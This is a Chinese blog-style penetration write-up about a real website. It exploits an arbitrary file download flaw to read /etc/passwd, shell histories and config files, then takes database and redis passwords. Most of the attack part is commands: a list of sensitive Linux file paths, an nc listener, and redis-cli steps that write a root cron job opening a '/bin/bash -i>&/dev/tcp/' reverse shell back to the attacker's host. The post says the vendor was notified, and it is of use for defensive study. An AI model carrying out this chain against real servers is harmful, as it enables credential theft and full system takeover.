起因
在某网站下载素材,下载的时候看了下URL,然后发现了惊喜
花里胡哨的就不整了,待我口述一下思路
看到下载链接的URL如下
url=/xxx/xxx/xxx.zip
感觉可能存在任意文件下载漏洞,然后试了一下
url=/etc/passwd
可以成功下载,下载下来文件自动加了.zip后缀且无法解压。
不慌,直接拿notepad++一类的工具打开即可。
整理一下Linux下常见的敏感文件(需首先判断服务器操作系统版本)
/etc/passwd #看一下存在哪些用户和服务,如果某些用户有bash,可以读一下他的.bash_history
/etc/shadow #shadow文件,但是很难破解
/root/.bash_history #root用户操作历史命令记录,可能会泄露服务器根路径,mysql密码,一些服务启动脚本等
/root/.mysql_history #mysql历史命令记录文件
/var/lib/mlocate/mlocate.db #本地所有文件信息
/etc/ssh/sshd_config #ssh配置文件,如果对外开放可看到端口
apache:
/etc/httpd/conf/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/apache2.conf
nginx:
/etc/nginx/nginx.conf
/usr/local/nginx/conf/nginx.conf
/usr/local/etc/nginx/nginx.conf
redis:
/etc/redis.conf
以上的总结都是一些固定位置的配置文件,当然实际中这些路径不一定对,需要你结合.bash_history等信息自己去猜测。
针对Linux系统任意文件下载的几种思路:
下载源代码审计
数据库备份
信息收集
中间件
...
信息收集
首先是下载.bash_history文件分析了一下,得到以下信息
网站根目录
几个服务启动/数据库备份脚本(xxx.sh)
服务器运行着几个服务:
1.apache-tomcat
2.nginx
3.redis
随后下载了某数据库自动备份脚本(xxx.sh)得到数据库的连接地址以及账号密码。
下载redis.conf配置文件得到redis密码。
问题
遇到的几个问题:
1.数据库是某云的,是内网ip,所以无法用外网连接。
2.针对java的站如果下载源代码审计会很麻烦
3.web.xml文件找不到
4.找不到数据库备份文件(即使找到也不敢下载)
5....
推荐个工具(基于java任意文件读取设计自动化信息搜集工具):
https://github.com/Artemis1029/Java_xmlhack/
转折点
一开始用nmap没扫到redis的端口,后来全端口扫描,发现redis端口对外开放了。
所以这样就简单多了,可以利用redis反弹shell
先在服务器用nc监听端口
nc -lvp 8888
然后连接redis
./redis-cli -h xxx.xxx.xxx.xxx(目标ip) -p 6379 -a password(密码)
写入计划任务反弹shell
set test "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/xxx.xxx.xxx.xxx(服务器ip)/8888 0>&1\n\n"
config set dir /var/spool/cron
config set dbfilename root
save
等待一分钟即可拿到shell
总结
运气很重要
前期的信息收集也很重要
Redis真是一个神奇的东西
PS:该漏洞已经第一时间通知厂商并已经进行了修复。
声明:本文的初衷就是分享网络安全知识,若有读者因此做出任何危害网络安全的行为,请后果自负。